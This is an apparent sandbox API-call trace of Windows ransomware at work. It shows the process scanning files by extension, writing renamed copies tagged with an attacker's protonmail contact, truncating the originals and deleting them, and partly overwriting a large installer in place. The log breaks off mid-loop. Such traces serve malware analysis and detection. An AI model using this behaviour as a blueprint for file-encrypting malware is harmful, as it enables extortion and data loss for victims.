	[0062.481] lstrlenW (lpString=".pdf") returned 4
	[0062.481] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.481] lstrlenW (lpString=".xls") returned 4
	[0062.481] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.481] lstrlenW (lpString=".xlsx") returned 5
	[0062.482] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0062.482] lstrlenW (lpString=".ppt") returned 4
	[0062.482] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.482] lstrlenW (lpString=".zip") returned 4
	[0062.482] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.482] lstrlenW (lpString=".rar") returned 4
	[0062.482] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.482] lstrlenW (lpString=".bz2") returned 4
	[0062.482] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.482] lstrlenW (lpString=".7z") returned 3
	[0062.482] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.482] lstrlenW (lpString=".dbf") returned 4
	[0062.482] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.482] lstrlenW (lpString=".1cd") returned 4
	[0062.482] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0062.482] lstrlenW (lpString=".jpg") returned 4
	[0062.482] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.482] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.483] lstrlenW (lpString="Rotate4.ico") returned 11
	[0062.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.483] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=894) returned 1
	[0062.483] CloseHandle (hObject=0x320) returned 1
	[0062.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80
	[0062.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.484] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.484] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0062.489] GetLastError () returned 0x0
	[0062.489] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.821] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.822] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.822] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.823] SetEndOfFile (hFile=0x2f8) returned 1
	[0062.823] CloseHandle (hObject=0x2f8) returned 1
	[0062.824] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.824] SetEndOfFile (hFile=0x320) returned 1
	[0062.825] CloseHandle (hObject=0x320) returned 1
	[0062.825] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.825] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1
	[0062.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.825] lstrlenW (lpString=".doc") returned 4
	[0062.826] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.826] lstrlenW (lpString=".docx") returned 5
	[0062.826] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0062.826] lstrlenW (lpString=".pdf") returned 4
	[0062.826] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.826] lstrlenW (lpString=".xls") returned 4
	[0062.826] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.826] lstrlenW (lpString=".xlsx") returned 5
	[0062.826] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0062.826] lstrlenW (lpString=".ppt") returned 4
	[0062.826] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.826] lstrlenW (lpString=".zip") returned 4
	[0062.826] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.826] lstrlenW (lpString=".rar") returned 4
	[0062.826] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.826] lstrlenW (lpString=".bz2") returned 4
	[0062.826] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.826] lstrlenW (lpString=".7z") returned 3
	[0062.826] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.826] lstrlenW (lpString=".dbf") returned 4
	[0062.826] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.826] lstrlenW (lpString=".1cd") returned 4
	[0062.826] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.826] lstrlenW (lpString=".jpg") returned 4
	[0062.826] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.826] lstrlenW (lpString=".doc") returned 4
	[0062.827] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.827] lstrlenW (lpString=".docx") returned 5
	[0062.827] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0062.827] lstrlenW (lpString=".pdf") returned 4
	[0062.827] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.827] lstrlenW (lpString=".xls") returned 4
	[0062.827] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.827] lstrlenW (lpString=".xlsx") returned 5
	[0062.827] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0062.827] lstrlenW (lpString=".ppt") returned 4
	[0062.827] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.827] lstrlenW (lpString=".zip") returned 4
	[0062.827] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.827] lstrlenW (lpString=".rar") returned 4
	[0062.827] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.827] lstrlenW (lpString=".bz2") returned 4
	[0062.827] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.827] lstrlenW (lpString=".7z") returned 3
	[0062.827] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.827] lstrlenW (lpString=".dbf") returned 4
	[0062.827] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.827] lstrlenW (lpString=".1cd") returned 4
	[0062.827] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0062.827] lstrlenW (lpString=".jpg") returned 4
	[0062.827] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.828] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0062.828] lstrlenW (lpString="netfx_Core_x64.msi") returned 18
	[0062.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.828] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1901056) returned 1
	[0062.828] CloseHandle (hObject=0x320) returned 1
	[0062.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80
	[0062.829] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.829] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0062.829] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0062.830] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0x0) returned 1
	[0062.830] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0062.830] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ac3058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0062.834] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0062.834] ReadFile (in: hFile=0x320, lpBuffer=0x3b03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b03058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0062.838] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0062.838] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0062.838] ReadFile (in: hFile=0x320, lpBuffer=0x3b43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b43058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0062.853] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.853] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0063.642] SetEndOfFile (hFile=0x320) returned 1
	[0063.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x431c220
	[0063.650] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0063.650] WriteFile (in: hFile=0x320, lpBuffer=0x431c220*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x431c220*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0063.652] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0063.652] WriteFile (in: hFile=0x320, lpBuffer=0x431c220*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x431c220*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0063.655] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0063.655] WriteFile (in: hFile=0x320, lpBuffer=0x431c220*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x431c220*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0063.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0063.662] CloseHandle (hObject=0x320) returned 1
	[0065.170] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0065.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.395] lstrlenW (lpString=".doc") returned 4
	[0065.395] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.395] lstrlenW (lpString=".docx") returned 5
	[0065.395] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0065.395] lstrlenW (lpString=".pdf") returned 4
	[0065.395] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.395] lstrlenW (lpString=".xls") returned 4
	[0065.395] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.395] lstrlenW (lpString=".xlsx") returned 5
	[0065.395] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0065.395] lstrlenW (lpString=".ppt") returned 4
	[0065.395] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.395] lstrlenW (lpString=".zip") returned 4
	[0065.396] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.396] lstrlenW (lpString=".rar") returned 4
	[0065.396] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.396] lstrlenW (lpString=".bz2") returned 4
	[0065.396] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.396] lstrlenW (lpString=".7z") returned 3
	[0065.396] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.396] lstrlenW (lpString=".dbf") returned 4
	[0065.396] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.396] lstrlenW (lpString=".1cd") returned 4
	[0065.396] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.396] lstrlenW (lpString=".jpg") returned 4
	[0065.396] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.396] lstrlenW (lpString=".doc") returned 4
	[0065.396] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.396] lstrlenW (lpString=".docx") returned 5
	[0065.396] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0065.396] lstrlenW (lpString=".pdf") returned 4
	[0065.396] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.396] lstrlenW (lpString=".xls") returned 4
	[0065.396] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.397] lstrlenW (lpString=".xlsx") returned 5
	[0065.397] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0065.397] lstrlenW (lpString=".ppt") returned 4
	[0065.397] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.397] lstrlenW (lpString=".zip") returned 4
	[0065.397] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.397] lstrlenW (lpString=".rar") returned 4
	[0065.397] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.397] lstrlenW (lpString=".bz2") returned 4
	[0065.397] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.397] lstrlenW (lpString=".7z") returned 3
	[0065.397] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.397] lstrlenW (lpString=".dbf") returned 4
	[0065.397] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.397] lstrlenW (lpString=".1cd") returned 4
	[0065.397] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0065.397] lstrlenW (lpString=".jpg") returned 4
	[0065.397] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.398] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0065.398] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22
	[0065.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.398] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=495616) returned 1
	[0065.398] CloseHandle (hObject=0x358) returned 1
	[0065.398] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80
	[0065.398] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.399] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.399] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.399] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0065.399] GetLastError () returned 0x0
	[0065.399] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x79000, lpOverlapped=0x0) returned 1
	[0065.414] WriteFile (in: hFile=0x364, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x79010, lpOverlapped=0x0) returned 1
	[0065.426] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.426] WriteFile (in: hFile=0x364, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x100, lpOverlapped=0x0) returned 1
	[0065.427] SetEndOfFile (hFile=0x364) returned 1
	[0065.427] CloseHandle (hObject=0x364) returned 1
	[0065.944] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.944] SetEndOfFile (hFile=0x358) returned 1
	[0065.948] CloseHandle (hObject=0x358) returned 1
	[0065.948] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0065.949] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1
	[0065.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.949] lstrlenW (lpString=".doc") returned 4
	[0065.949] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.949] lstrlenW (lpString=".docx") returned 5
	[0065.949] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0065.949] lstrlenW (lpString=".pdf") returned 4
	[0065.949] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.949] lstrlenW (lpString=".xls") returned 4
	[0065.949] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.950] lstrlenW (lpString=".xlsx") returned 5
	[0065.950] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0065.950] lstrlenW (lpString=".ppt") returned 4
	[0065.950] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.950] lstrlenW (lpString=".zip") returned 4
	[0065.950] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.950] lstrlenW (lpString=".rar") returned 4
	[0065.950] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.950] lstrlenW (lpString=".bz2") returned 4
	[0065.950] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.950] lstrlenW (lpString=".7z") returned 3
	[0065.950] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.950] lstrlenW (lpString=".dbf") returned 4
	[0065.950] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.950] lstrlenW (lpString=".1cd") returned 4
	[0065.950] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.950] lstrlenW (lpString=".jpg") returned 4
	[0065.950] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.950] lstrlenW (lpString=".doc") returned 4
	[0065.950] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0065.950] lstrlenW (lpString=".docx") returned 5
	[0065.950] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0065.950] lstrlenW (lpString=".pdf") returned 4
	[0065.950] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0065.950] lstrlenW (lpString=".xls") returned 4
	[0065.950] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0065.951] lstrlenW (lpString=".xlsx") returned 5
